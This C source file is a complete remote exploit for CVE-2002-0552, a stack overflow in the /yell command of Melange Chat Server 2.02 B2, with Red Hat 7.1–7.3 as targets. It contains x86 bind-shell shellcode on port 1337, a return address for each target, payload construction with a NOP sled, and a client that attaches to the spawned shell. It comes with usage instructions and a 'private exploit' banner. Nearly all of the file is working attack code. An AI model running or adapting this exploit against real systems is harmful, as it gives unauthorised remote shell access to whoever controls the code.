/*
 * Private Exploit !!! CVE-2002-0552 - Melange Chat Server 2.02 B2 /yell remote stack overflow exploit
 * The original private exploit code was written in January 2003 and was patched in 2026.
 * Original code by : Antonius (w1sdom) - bluedragonsec.com - github.com/bluedragonsecurity
 * compile : gcc -o exploit exploit.c 
 * run : ./exploit <ip address> <port> <target>
 * e.g : 
 * ./exploit 192.168.0.1 6666 1
 * ./exploit 127.0.0.1 6666 3
 *
 * target(s) :
 * - 1 : redhat 7.1
 * - 2 : redhat 7.2
 * - 3 : redhat 7.3
 * (c) solhack 2002-now - all rights reserved
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>

/*
87 bytes private bind shell 1337 shellcode for x86 linux
this shellcode is used in many of our private exploits
(c) solhack - sons of liberty
*/
unsigned char code[] =
"\x31\xdb\xf7\xe3\x52\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80"
"\x89\xc6\x43\x52\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51"
"\x56\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\x52\x56\x89\xe1"
"\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02"
"\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xb4";

void banner() {
   printf(
    "\n=====================================================\n"
    "    CVE-2002-0552 Melange 2.02 B2                      \n"
    "    /yell remote stack overflow exploit                \n"
    "    private exploit ! don't share !!!                  \n"
    "    The original private exploit code was written in   \n"
    "    January 2003 and was patched in 2026.              \n"      
    "    code by : Antonius (w1sdom) - bluedragonsec.com    \n"
    "    https://github.com/bluedragonsecurity              \n"
    "    (c) solhack (solhack.ath.cx)- 2002-forever         \n"
    "  =====================================================\n\n");
}

void usage() {
printf(
    "\n\trun : ./exploit <ip address> <port> <target> \n"
    "\te.g :                                          \n"
    "\t./exploit 192.168.0.1 6666 1                   \n"
    "\t./exploit 127.0.0.1 6666 3                     \n"
    "\t                                               \n"
    "\ttarget(s) :                                    \n"
    "\t- 1 : redhat 7.1                               \n"
    "\t- 2 : redhat 7.2                               \n"
    "\t- 3 : redhat 7.3                               \n\n"); 
}

void shell(char *ip, int port) {
    int n, s;
    struct sockaddr_in sa;
    char buf[4096];
    fd_set fds;

    s = socket(AF_INET, SOCK_STREAM, 0);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    inet_aton(ip, &sa.sin_addr);

    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("[-] exploit failed !");
        return;
    }
    printf("[*] connected to %s:%d\n", ip, port);
    write(1, "# ", 2);
    while (1) {
        FD_ZERO(&fds);
        FD_SET(s, &fds);
        FD_SET(0, &fds);
        select(s + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(s, &fds)) {
            n = read(s, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(1, buf, n);
            write(1, "# ", 2);
        }
        if (FD_ISSET(0, &fds)) {
            n = read(0, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(s, buf, n);
        }
    }
    close(s);
}

int main(int argc, char **argv) {
    int sock, port = 6666, n, target;
    char payload[609]; 
    char tmp[1024];
    struct hostent *h;
    struct sockaddr_in sa;
    unsigned int eip = 0x409da8c0;
    banner();
    if (argc < 2) {
        usage();
        return 1;
    }
    h = gethostbyname(argv[1]);
    if (!h) { 
        printf("[-] resolve failed\n"); 
        return 1; 
    }
    port = atoi(argv[2]);
    target = atoi(argv[3]);
    switch(target) {
        case 1:
        /* 
        redhat 7.1 
        libc-2.2.2.so -> call esp
        */
        eip = 0x4008D4E7;
        break;   
        case 2:
        /* 
        redhat 7.2 
        libc-2.2.4.so -> call esp
        */
        eip = 0x4017F7E0;
        break; 
        case 3:
        /* 
        redhat 7.3  
        libc-2.2.5.so -> call esp
        */
        eip = 0x420311c6;
        break;
    }
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) { 
        perror("[-] failed to create socket"); 
        return 1; 
    }
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    memcpy(&sa.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
    if (connect(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("[-] failed to connect"); 
        return 1;
    }
    printf("[+] connected to %s:%d\n", argv[1], port);
    n = recv(sock, tmp, sizeof(tmp)-1, 0);
    if (n > 0) 
        tmp[n] = 0;
    sleep(1);
    send(sock, "user test test 0 0\r\n", 20, 0);
    printf("[*] sent login\n");
    sleep(1);
    recv(sock, tmp, sizeof(tmp)-1, 0);
    printf("[*] sending exploit payload\n");
    memcpy(payload, "/yell ", 6);
    memset(payload + 6, '\x90', 156);        
    memcpy(payload + 162, &eip, 4);          
    memset(payload + 166, '\x90', 341);
    payload[166] = '\xeb';   
    payload[167] = '\x10';   
    memcpy(payload + 200, code, 87);
    memcpy(payload + 505, "\r\n", 2);
    send(sock, payload, 608, 0);
    sleep(1);
    close(sock);
    puts("[*] payload sent !");
    puts("[!] sleeping for 3 seconds ... please wait ...");
    sleep(3);
    shell(argv[1], 1337);

    return 0;
}
